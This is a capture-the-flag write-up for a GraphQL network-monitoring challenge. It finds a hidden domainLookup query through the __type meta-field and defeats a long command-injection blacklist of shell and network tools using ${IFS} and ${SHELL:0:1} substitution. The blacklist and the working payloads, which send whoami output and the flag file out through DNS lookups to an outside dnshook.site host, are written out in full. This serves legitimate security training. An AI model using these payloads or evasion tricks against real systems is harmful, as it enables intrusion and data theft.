Challenge Overview

Challenge Name: The Shadow Query
Category: Web / GraphQL
Difficulty: Medium
Flag Location: /var/flag/flag.txt

This challenge involves a GraphQL API designed for network monitoring. The API provides functionalities like pinging hosts, tracing routes, and performing DNS lookups. However, it contains two key vulnerabilities:

1. **Command Injection:** The `domainLookup` query is vulnerable to a carefully crafted command injection payload, despite the presence of an extensive blacklist.
2. **Hidden Query:** The `domainLookup` query itself is not exposed in the initial GraphQL schema, requiring players to use GraphQL meta-queries to discover it.

Vulnerabilities:

1. **Command Injection in `domainLookup`:**
   - The `domainLookup` query uses the `dig` command to perform DNS lookups.
   - While the challenge implements a blacklist to prevent command injection, it can be bypassed with specific techniques.
2. **Hidden GraphQL Query:**
   - The `domainLookup` query is not present in the default GraphQL schema.
   - Introspection is disabled, preventing standard schema exploration.
   - Players must use the `__type` meta-field to discover the hidden query.

Solution:

The challenge requires a two-step approach:

Step 1: Discovering the Hidden Query

1. **Bypassing Introspection:** Standard GraphQL introspection queries (`__schema` , `IntrospectionQuery`) are blocked.
2. **Using `__type` Meta-Field:** Players must use the `__type` meta-field to query the `Query` type and list its available fields. A GraphQL query like this reveals the hidden `domainLookup` query:

```
query {
  __type(name: "Query") {
     name
      fields {
        name
    }
  }
}
```

3. **Identifying `domainLookup` :** The response to the above query will include `domainLookup` in the list of available fields.

Step 2: Exploiting Command Injection

1. **Understanding the Vulnerability:** The `domainLookup` query takes a `target` argument, which is passed to the `dig` command. The blacklist, while extensive, can be bypassed.

```
const blockedPatterns = [ /;/g, /; /g, /&/g, /& /g, /&&/g, /#/g, />/g, /</g, /\\/g, /\//g, /\|/g, /\|\|/g, /\s/g,
/\v/g, /\f/g, /\r/g, /\\u[0-9a-fA-F]{4}/gi, /\\x[0-9a-fA-F]{2}/gi, /%[0-9a-fA-F]{2}/gi, /%09/i, /%0A/g, /%0D%0A/i,
/%0D/i, /\\n/g, /\\r/g, /'/g, /,/g, /"/g, /[0-9][><]/g, /`/g, />>/g, /@/g, /&>/g, /&>>/g, /<&/g, /0</g, /1>/g, /2>/g,
/2>&1/g, /\*/g, /\?/g, /\[/g, /\]/g, /\[[^\]]*\]/g, /\.\./g, /\$?\{?(PWD|PATH|HOME)(:[^\}]*)?\}?/gi, /\$\(\s*[a-zA-Z]
[^)]*\$\(\)/i, /\w\$\(\)/i, /\$\(\)\w/i, /\$\([^)]{0,1}\)/i, /\$\(\s*[a-z]\s*\)/i, /\bcat\b/i, /\bless\b/i,
/\bmore\b/i, /\btail\b/i, /\bvim\b/i, /\bvi\b/i, /\bnano\b/i, /\bed\b/i, /\bemacs\b/i, /\btac\b/i, /\btee\b/i,
/\bcut\b/i, /\bsort\b/i, /\buniq\b/i, /\bawk\b/i, /\bsed\b/i, /\btr\b/i, /\bfmt\b/i, /\bfold\b/i, /\bsplit\b/i,
/\bcsplit\b/i, /\bcomm\b/i, /\bjoin\b/i, /\bxxd\b/i, /\bhexdump\b/i, /\bod\b/i, /\bhd\b/i, /\bstrings\b/i,
/\bxargs\b/i, /\bcp\b/i, /\bmv\b/i, /\bln\b/i, /\brm\b/i, /\bdd\b/i, /\btouch\b/i, /\bbash\b/i, /\bzsh\b/i,
/\bksh\b/i, /\bcsh\b/i, /\bbase64\b/i, /\btcsh\b/i, /\bdash\b/i, /\bsh\b/i, /\bps\b/i, /\btop\b/i, /\byes\b/i,
/\bhtop\b/i, /\bkill\b/i, /\bpkill\b/i, /\bkillall\b/i, /\binit\b/i, /\bnohup\b/i, /\bshutdown\b/i, /\breboot\b/i,
/\bpoweroff\b/i, /\bsystemctl\b/i, /\bservice\b/i, /\bchmod\b/i, /\bchown\b/i, /\bchgrp\b/i, /\bip\b/i,
/\bifconfig\b/i, /\bnetstat\b/i, /\broute\b/i, /\barp\b/i, /\bping\b/i, /\btraceroute\b/i, /\bdig\b/i,
/\bnslookup\b/i, /\bhostname\b/i, /\bfind\b/i, /\blocate\b/i, /\bupdatedb\b/i, /\bgrep\b/i, /\btar\b/i, /\bzip\b/i,
/\bunzip\b/i, /\bgzip\b/i, /\bgunzip\b/i, /\bapt-get\b/i, /\byum\b/i, /\bnpm\b/i, /\bpip\b/i, /\brpm\b/i,
/\bdpkg\b/i, /python.*socket/i, /^python(\d)?/i, /perl.*IO::Socket/i, /\bperl\b/i, /\bruby\b/i, /\bphp\b/i,
/\blua\b/i, /\bnode\b/i, /\bjruby\b/i, /\becho\b/i, /\bprintf\b/i, /\beval\b/i, /\bhost\b/i, /\bexec\b/i,
/\bsource\b/i, /\bload\b/i, /\brequire\b/i, /\bimport\b/i, /\binclude\b/i, /\bwget\b/i, /\bcurl\b/i, /\bscp\b/i,
/\bnc\b/i, /nc.exe/i, /\bncat\b/i, /\btelnet\b/i, /\bmkfifo\b/i, /\bbusybox\b/i, /\bsu\b/i, /\bsudo\b/i,
```

```
/\bshadow\b/i, /\bhistory\b/i, /\bscreen\b/i, /\btmux\b/i, /\bbatch\b/i, /\benv\b/i, ];
```

2. **Detecting the Command Injection**:

```
query {
      domainLookup(target: "$(whoami).5b653560-8fef-4181-ac8b-1d8b5f9f519a.dnshook.site") {
        status
      }
    }
```

3. **Crafting the Payload:** The working payload leverages bash command substitution and parameter expansion to read the flag and embed it in a DNS lookup:
   - `$(...)`: Executes the command inside the parentheses.
   - `head flag.txt`: Reads the beginning of the flag file.
   - `${IFS}`: Inserts whitespace, bypassing space filtering.
   - `${SHELL:0:1}`: Extracts the first character of the shell path (usually `/`), bypassing forward-slash filtering.
   - `.5b653560-8fef-4181-ac8b-1d8b5f9f519a.dnshook.site`: Appends the command output to a domain on a controlled server (e.g., `dnshook.site`).
4. **Sending the Payload:** The crafted payload is sent as the `target` argument in a `domainLookup` query.

```
query {
  domainLookup(target: "$(head${IFS}${SHELL:0:1}flag.txt).dd847438-ae04-43de-9284-3b71bd874311.dnshook.site") {
    status
  }
}
```

5. **Exfiltrating the Flag:** The `dig` command attempts to resolve the crafted domain, resulting in a DNS query to the attacker's server (`dnshook.site`) with the flag (or part of it) embedded in the hostname. The attacker can then retrieve the flag from their DNS logs.